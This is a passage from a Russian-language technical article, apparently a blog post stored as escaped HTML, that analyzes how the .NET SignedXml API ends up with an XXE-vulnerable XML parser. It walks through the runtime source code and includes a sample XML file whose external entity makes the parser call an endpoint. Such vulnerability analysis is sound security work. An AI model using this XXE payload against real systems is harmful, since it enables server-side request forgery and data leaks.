\u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043f\u0438\u043d\u0433\u0443 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0438. <\/li>\n<li>\u0420\u0430\u0441\u043a\u0440\u0443\u0447\u0438\u0432\u0430\u0435\u043c \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043a API \u0434\u043e \u0432\u044b\u044f\u0441\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0447\u0438\u043d. <\/li>\n<\/ol>\n<p>  <\/p>\n<p>\u0412\u0435\u0440\u043d\u0451\u043c\u0441\u044f \u043a \u043c\u0435\u0442\u043e\u0434\u0443 <code>ProcessSignedXml<\/code>: <\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">void ProcessSignedXml(String xmlPath)  {            var xmlDoc = new XmlDocument();            xmlDoc.Load(xmlPath);            var signedXml = new SignedXml(xmlDoc);            signedXml.SigningKey = RSA.Create();             Reference reference = new Reference();            reference.Uri = String.Empty;             var env = new XmlDsigEnvelopedSignatureTransform();            reference.AddTransform(env);             signedXml.AddReference(reference);             signedXml.ComputeSignature();         \/\/ ... }<\/code><\/pre>\n<p>  <\/p>\n<p>\u041f\u0435\u0440\u0432\u043e\u0435, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043f\u043e\u0434\u043e\u0437\u0440\u0435\u043d\u0438\u0435 \u2014 \u0432\u044b\u0437\u043e\u0432 \u043c\u0435\u0442\u043e\u0434\u0430 <code>XmlDocument.Load<\/code>:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">var xmlDoc = new XmlDocument();        xmlDoc.Load(xmlPath);    <\/code><\/pre>\n<p>  <\/p>\n<p>\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u044b \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\u0441\u044c, \u0447\u0442\u043e \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 .NET \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u0435\u043d. \u041a \u0442\u043e\u043c\u0443 \u0436\u0435 \u043e\u043d \u043d\u0435 \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442 API <code>SignedXml<\/code>. <\/p>\n<p>  <\/p>\n<p>\u0421\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430 <code>SignedXml<\/code> \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0435\u0442 \u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">var signedXml = new SignedXml(xmlDoc);<\/code><\/pre>\n<p>  <\/p>\n<p>\u041d\u0435 \u0431\u0443\u0434\u0443 \u0442\u043e\u043c\u0438\u0442\u044c \u2014 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043a \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u0432\u044b\u0437\u043e\u0432\u0430 \u043c\u0435\u0442\u043e\u0434\u0430 <code>ComputeSignature<\/code>. \u041d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u043e\u2026 <\/p>\n<p>  <\/p>\n<p>\u041d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435 \u043d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 \u0434\u0430\u0436\u0435 \u043d\u0435 <code>ComputeSignature<\/code>, \u0430 \u0442\u0440\u0430\u043d\u0437\u0438\u0442\u0438\u0432\u043d\u043e \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u043c\u044b\u0439 \u0438\u043c <code>CalculateHashValue<\/code>. \u0426\u0435\u043f\u043e\u0447\u043a\u0430 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">ComputeSignature   -> BuildDigestReferences        -> UpdateHashValue             -> CalculateHashValue<\/code><\/pre>\n<p>  <\/p>\n<p>\u0427\u0442\u043e \u0436, \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 <code>CalculateHashValue<\/code>. <\/p>\n<p>  <\/p>\n<h3 id=\"analiz-metoda-calculatehashvalue\">\u0410\u043d\u0430\u043b\u0438\u0437 \u043c\u0435\u0442\u043e\u0434\u0430 CalculateHashValue<\/h3>\n<p>  <\/p>\n<p>\u041c\u0435\u0442\u043e\u0434 \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u043f\u043e\u0440\u044f\u0434\u043a\u0430 150 \u0441\u0442\u0440\u043e\u043a, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u0439 \u0435\u0433\u043e \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442 \u2014 \u0442\u043e\u0442, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0438\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">internal byte[]  CalculateHashValue(XmlDocument document, CanonicalXmlNodeList refList) {   ...   XmlResolver resolver = null;   ...   resolver = (SignedXml.ResolverSet ? SignedXml._xmlResolver                                      : new XmlSecureResolver(new XmlUrlResolver(),                                                             baseUri));    XmlDocument docWithNoComments = Utils.DiscardComments(     Utils.PreProcessDocumentInput(document, resolver, baseUri));   ... }<\/code><\/pre>\n<p>  <\/p>\n<p>\u0410\u0433\u0430, \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u2026 \u0412 \u0433\u043b\u0430\u0437\u0430 \u0431\u0440\u043e\u0441\u0430\u044e\u0442\u0441\u044f \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u043e\u0432. <\/p>\n<p>  <\/p>\n<p>\u041f\u0435\u0440\u0432\u044b\u0439 \u2014 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 <code>resolver<\/code> \u0442\u0438\u043f\u0430 <code>XmlResolver<\/code>. \u0412 \u043d\u0430\u0447\u0430\u043b\u0435 \u0441\u0442\u0430\u0442\u044c\u0438 \u043c\u044b \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u043b\u0438, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u0445 \u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440\u043e\u0432 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <code>XmlUrlResolver<\/code>) \u043c\u043e\u0436\u0435\u0442 \u0441\u0434\u0435\u043b\u0430\u0442\u044c XML-\u043f\u0430\u0440\u0441\u0435\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u043a XXE.<\/p>\n<p>  <\/p>\n<p>\u0412\u0442\u043e\u0440\u043e\u0439 \u2014 \u043f\u0440\u043e\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442\u0441\u044f \u0435\u0449\u0451 \u0433\u043b\u0443\u0431\u0436\u0435 \u2014 \u0432 \u043c\u0435\u0442\u043e\u0434 <code>Utils.PreProcessDocumentInput<\/code>. \u0418\u043c\u0435\u043d\u043d\u043e \u043f\u0440\u0438 \u0435\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0435 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441. <\/p>\n<p>  <\/p>\n<p>\u0420\u0430\u0437\u0431\u0435\u0440\u0451\u043c \u043e\u0431\u0430 \u044d\u0442\u0438\u0445 \u043c\u043e\u043c\u0435\u043d\u0442\u0430.<\/p>\n<p>  <\/p>\n<p><strong>\u041f\u0440\u0438\u043c\u0435\u0447\u0430\u043d\u0438\u0435<\/strong>. \u0420\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u0432\u0435\u0442\u043a\u0430 \u043a\u043e\u0434\u0430 \u2014 \u043d\u0435 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f, \u0433\u0434\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440. \u0415\u0441\u043b\u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435, \u0437\u0430\u0433\u043b\u044f\u043d\u0438\u0442\u0435 \u0432 <a href=\"https:\/\/github.com\/dotnet\/runtime\/blob\/0ec02c8c96e2eda06dc5b5edfdbdba0f36415082\/src\/libraries\/System.Security.Cryptography.Xml\/src\/System\/Security\/Cryptography\/Xml\/Reference.cs#L333\" rel=\"nofollow noopener noreferrer\">\u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a\u0438<\/a>. <\/p>\n<p>  <\/p>\n<h4 id=\"xmlsecureresolver\">XmlSecureResolver<\/h4>\n<p>  <\/p>\n<p>\u041a\u043e\u0434 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440\u0430:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">XmlResolver resolver = null; ... resolver = (SignedXml.ResolverSet ? SignedXml._xmlResolver                                    : new XmlSecureResolver(new XmlUrlResolver(),                                                           baseUri));<\/code><\/pre>\n<p>  <\/p>\n<p>\u0414\u043e \u044d\u0442\u043e\u0433\u043e \u043c\u043e\u043c\u0435\u043d\u0442\u0430 \u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u0435\u043d \u043d\u0435 \u0431\u044b\u043b, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>SignedXml.ResolverSet<\/code> \u0438\u043c\u0435\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>false<\/code>. \u0421\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e, <code>resolver<\/code> \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 <code>XmlSecureResolver<\/code>, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0432 alternative-\u0432\u0435\u0442\u0432\u0438 \u0442\u0435\u0440\u043d\u0430\u0440\u043d\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430. <\/p>\n<p>  <\/p>\n<p>\u041e\u0431\u0440\u0430\u0442\u0438\u0442\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435, \u0447\u0442\u043e \u043f\u0435\u0440\u0432\u044b\u043c \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0430 <code>XmlSecureResolver<\/code> \u0432\u044b\u0441\u0442\u0443\u043f\u0430\u0435\u0442 \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 <code>XmlUrlResolver<\/code> \u0432 \u0434\u0435\u0444\u043e\u043b\u0442\u043d\u043e\u043c \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438. \u041c\u044b \u0443\u0436\u0435 \u0437\u043d\u0430\u0435\u043c, \u0447\u0442\u043e \u0442\u0430\u043a\u0438\u0435 \u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440\u044b \u043e\u043f\u0430\u0441\u043d\u044b. \u041d\u043e \u043c\u043e\u0436\u0435\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 <code>XmlSecureResolver<\/code> \u0435\u0441\u0442\u044c \u043a\u0430\u043a\u0430\u044f-\u0442\u043e \u0437\u0430\u0449\u0438\u0442\u0430? \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043c: <\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">public partial class XmlSecureResolver : XmlResolver {     private readonly XmlResolver _resolver;      public XmlSecureResolver(XmlResolver resolver, string? securityUrl)     {         _resolver = resolver;     }      public override ICredentials Credentials     {         set { _resolver.Credentials = value; }     }      public override object? GetEntity(Uri absoluteUri,                                        string? role, Type? ofObjectToReturn)     {         return _resolver.GetEntity(absoluteUri, role, ofObjectToReturn);     }      public override Uri ResolveUri(Uri? baseUri, string? relativeUri)     {         return _resolver.ResolveUri(baseUri, relativeUri);     } }<\/code><\/pre>\n<p>  <\/p>\n<p>\u041d\u0435\u0442, \u043d\u0438\u0447\u0435\u0433\u043e. \u041c\u0435\u0442\u043e\u0434\u044b, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0435 \u0437\u0430 \u0440\u0435\u0437\u043e\u043b\u0432\u0438\u043d\u0433 URI \u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u043e \u0444\u0430\u043a\u0442\u0443 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u0443\u044e\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u043e\u0431\u044a\u0435\u043a\u0442\u0443, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u0435 <code>_resolver<\/code>. \u0427\u0435\u043c \u043e\u043d\u043e \u043f\u0440\u043e\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043e? \u041f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u2014 \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u043f\u0435\u0440\u0435\u0434\u0430\u043d \u0432 \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">new XmlSecureResolver(new XmlUrlResolver(), baseUri)<\/code><\/pre>\n<p>  <\/p>\n<p>\u0412\u044b\u0432\u043e\u0434: \u0432 \u043f\u043b\u0430\u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u044b \u0441 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044f\u043c\u0438 <code>XmlSecureResolver<\/code> \u0442\u0430\u043a \u0436\u0435 \u043e\u043f\u0430\u0441\u0435\u043d, \u043a\u0430\u043a \u0438 <code>XmlUrlResolver<\/code>. <\/p>\n<p>  <\/p>\n<h4 id=\"utilspreprocessdocumentinput\">Utils.PreProcessDocumentInput<\/h4>\n<p>  <\/p>\n<p>\u0412\u044b\u0437\u043e\u0432 \u043c\u0435\u0442\u043e\u0434\u0430 <code>Utils.PreProcessDocumentInput<\/code> \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">XmlDocument docWithNoComments = Utils.DiscardComments(       Utils.PreProcessDocumentInput(document, resolver, baseUri));<\/code><\/pre>\n<p>  <\/p>\n<p>\u041c\u044b \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e <code>resolver<\/code> \u0441\u0441\u044b\u043b\u0430\u0435\u0442\u0441\u044f \u043d\u0430 \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u043e\u0431\u044a\u0435\u043a\u0442. \u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432\u043d\u0443\u0442\u0440\u0438 <code>PreProcessDocumentInput<\/code>:<\/p>\n<p>  <\/p>\n<pre><code class=\"cs\">internal static XmlDocument  PreProcessDocumentInput(XmlDocument document,                          XmlResolver xmlResolver,                          string baseUri) {     if (document == null)         throw new ArgumentNullException(nameof(document));      MyXmlDocument doc = new MyXmlDocument();     doc.PreserveWhitespace = document.PreserveWhitespace;      \/\/ Normalize the document     using (TextReader stringReader = new StringReader(document.OuterXml))     {         XmlReaderSettings settings = new XmlReaderSettings();         settings.XmlResolver = xmlResolver;         settings.DtdProcessing = DtdProcessing.Parse;         ...         XmlReader reader = XmlReader.Create(stringReader, settings, baseUri);         doc.Load(reader);     }     return doc; }<\/code><\/pre>\n<p>  <\/p>\n<p>\u041e\u0441\u043d\u043e\u0432\u043d\u043e\u0435, \u0447\u0442\u043e \u043d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 \u2014 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 XML-\u043f\u0430\u0440\u0441\u0435\u0440\u0430 (<code>reader<\/code>) \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043a (<code>settings<\/code>), \u043f\u0440\u0438\u0447\u0451\u043c:<\/p>\n<p>  <\/p>\n<ol>\n<li>\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>DtdProcessing<\/code> \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c <code>DtdProcessing.Parse<\/code>. <\/li>\n<li>\u0412 \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u043e <code>XmlResolver<\/code> \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u043f\u0430\u0441\u043d\u044b\u0439 \u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440 \u2014 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 <code>XmlSecureResolver<\/code>, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043c\u044b \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u043b\u0438\u0441\u044c \u0432\u044b\u0448\u0435. <\/li>\n<\/ol>\n<p>  <\/p>\n<p>\u0412\u0441\u0451 \u044d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 <code>XmlReader<\/code> \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u043a XXE-\u0430\u0442\u0430\u043a\u0430\u043c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0436\u0435 \u0432\u044b\u0437\u043e\u0432 <code>doc.Load(reader)<\/code> \u043c\u043e\u0436\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u0438\u043b\u0438 \u043f\u043e\u0440\u043e\u0436\u0434\u0430\u0442\u044c \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0437\u0430\u043f\u0440\u043e\u0441\u044b, \u0447\u0442\u043e \u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0432 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435. <\/p>\n<p>  <\/p>\n<h4 id=\"sammari\">\u0421\u0430\u043c\u043c\u0430\u0440\u0438<\/h4>\n<p>  <\/p>\n<p>\u0421\u043e\u0431\u0435\u0440\u0451\u043c \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u043c\u043e\u043c\u0435\u043d\u0442\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u0440\u0438\u0432\u0435\u043b\u0438 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438:<\/p>\n<p>  <\/p>\n<ol>\n<li>\u041f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 API <code>SignedXml<\/code> \u043c\u044b \u043d\u0435\u044f\u0432\u043d\u043e \u0432\u044b\u0437\u0432\u0430\u043b\u0438 \u043c\u0435\u0442\u043e\u0434 <code>CalculateHashValue<\/code>. <\/li>\n<li>\u041c\u0435\u0442\u043e\u0434 <code>CalculateHashValue<\/code>, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043c\u0435\u0442\u043e\u0434 <code>Utils.PreProcessDocumentInput<\/code>, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u0435\u0440\u0435\u0434\u0430\u0451\u0442 \u0441\u0441\u044b\u043b\u043a\u0443 \u043d\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 \u0442\u0438\u043f\u0430 <code>XmlSecureResolver<\/code>. <\/li>\n<li>\u0422\u0438\u043f <code>XmlSecureResolver<\/code> \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u0443\u0435\u0442 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0443 \u0442\u0438\u043f\u0430 <code>XmlUrlResolver<\/code> \u0438 \u0438\u0437-\u0437\u0430 \u044d\u0442\u043e\u0433\u043e \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u043f\u0430\u0441\u043d\u044b\u043c. <\/li>\n<li>\u0412 \u043c\u0435\u0442\u043e\u0434\u0435 <code>Utils.PreProcessDocumentInput<\/code> \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f XML-\u043f\u0430\u0440\u0441\u0435\u0440 \u0442\u0438\u043f\u0430 <code>XmlReader<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439:<br \/> \n<ul>\n<li>\u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 DTD;<\/li>\n<li>\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0440\u0435\u0437\u043e\u043b\u0432\u0435\u0440\u0430 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440 <code>XmlSecureResolver<\/code>.<\/li>\n<\/ul>\n<\/li>\n<li>\u0418\u0437-\u0437\u0430 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0432\u043e\u0439\u0441\u0442\u0432 \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u0440\u0441\u0435\u0440 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u043a XXE.<\/li>\n<li>\u0422\u0430\u043a \u043a\u0430\u043a \u044d\u0442\u043e\u0442 \u043f\u0430\u0440\u0441\u0435\u0440 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 XML, \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.<\/li>\n<\/ol>\n<p>  <\/p>\n<p>\u041d\u0430\u043f\u043e\u043c\u043d\u044e, \u0447\u0442\u043e \u043c\u044b \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043b\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>SignedXml<\/code> API \u0444\u0430\u0439\u043b \u0442\u0430\u043a\u043e\u0433\u043e \u0432\u0438\u0434\u0430:<\/p>\n<p>  <\/p>\n<pre><code class=\"xml\">&lt;?xml version=\"1.0\" encoding=\"utf-8\"?> &lt;!DOCTYPE xxeExample [     &lt;!ENTITY query SYSTEM \"https:\/\/path\/to\/endpoint\"> ]> &lt;xxeExample>&amp;query;&lt;\/xxeExample><\/code><\/pre>\n<p>  <\/p>\n<p>\u041d\u0430\u0441\u0442\u0440\u043e\u0438\u043c \u043a\u043e\u043d\u0435\u0447\u043d\u0443\u044e \u0442\u043e\u0447\u043a\u0443 \u043d\u0430 \u0432\u043e\u0437\u0432\u0440\u0430\u0442 \u0442\u0435\u043a\u0441\u0442\u0430: \u0442\u043e\u0433\u0434\u0430 \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0437\u043e\u0432\u0430 <code>doc.Load(reader)<\/code> \u0441\u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0435\u0433\u043e, \u043e\u0431\u0440\u0430\u0442\u0438\u0432\u0448\u0438\u0441\u044c \u043a \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0443 <code>doc.InnerText<\/code>:<\/p>\n<p>  <\/p>\n<p><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/li\/fb\/2r\/lifb2rrcq9cwxyxmuqdxdtre-ug.png\" data-src=\"https:\/\/habrastorage.org\/webt\/li\/fb\/2r\/lifb2rrcq9cwxyxmuqdxdtre-ug.png\"\/><\/p>\n<p>  <\/p>\n<p>\u0418\u0433\u0440\u044b \u0441 \u0446\u0438\u0442\u0430\u0442\u0430\u043c\u0438 \u0438\u0437 \u0425\u0430\u0433\u0430\u043a\u0443\u0440\u044d \u2014 \u0437\u0430\u0431\u0430\u0432\u043d\u044b\u0439 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442. \u041e\u0434\u043d\u0430\u043a\u043e \u043d\u0430\u043f\u043e\u043c\u043d\u044e, \u0447\u0442\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f\u043c\u0438 XXE \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043d\u0435 \u0431\u0435\u0437\u043e\u0431\u0438\u0434\u043d\u044b\u0435 \u0448\u0443\u0442\u043a\u0438, \u0430 SSRF \u0438 \u0443\u0442\u0435\u0447\u043a\u0438 \u0434\u0430\u043d\u043d\u044b\u0445.<\/p>\n<p>  <\/p>\n<p>**<br \/>  \u0423\u0432\u0435\u0440\u0435\u043d, \u0435\u0441\u0442\u044c \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 XXE-\u0430\u0442\u0430\u043a\u0443 \u043d\u0430 <code>SignedXml<\/code>: \u0432 \u043e\u0434\u043d\u043e\u043c \u0442\u043e\u043b\u044c\u043a\u043e \u043c\u0435\u0442\u043e\u0434\u0435 <code>CalculateHashValue<\/code> \u0446\u0435\u043b\u044b\u0445 6 \u043c\u0435\u0441\u0442 